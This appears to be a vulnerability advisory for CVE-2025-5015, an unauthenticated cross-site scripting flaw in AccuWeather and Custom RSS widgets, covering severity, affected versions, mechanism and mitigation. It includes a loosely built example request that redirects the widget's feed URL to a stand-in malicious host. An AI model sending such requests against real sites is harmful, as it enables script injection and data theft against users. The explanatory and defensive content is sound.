Overview
The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered every day. One such vulnerability that has recently come to light is the CVE-2025-5015, a cross-site scripting (XSS) issue affecting the AccuWeather and Custom RSS widgets. This vulnerability is a serious concern as it allows an unauthenticated user to replace the RSS feed URL with a malicious one, potentially leading to system compromise or data leakage. Its severity and potential impact make it a significant threat to any organization using affected versions of these products.
Vulnerability Summary
CVE ID: CVE-2025-5015
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
AccuWeather Widget | All versions prior to patch
Custom RSS Widget | All versions prior to patch
How the Exploit Works
The exploit works by taking advantage of the unvalidated input in the RSS feed URL field in the widget settings. An unauthenticated user can replace the legitimate RSS feed URL with a malicious one. When the widget fetches the RSS feed, it inadvertently pulls in and executes the malicious code instead. This can allow the attacker to perform a variety of malicious actions, such as compromising the system or exfiltrating sensitive data.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /widget/settings HTTP/1.1
Host: target.example.com
{ "rss_feed_url": "http://malicious.example.com/feed" }In this example, the attacker replaces the “rss_feed_url” in the widget settings with a URL that points to a malicious RSS feed. When the widget fetches this feed, it executes the malicious code contained within.
Mitigation Steps
The recommended mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch can’t be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability. Additionally, regular monitoring and auditing of the system logs can help detect any successful exploits.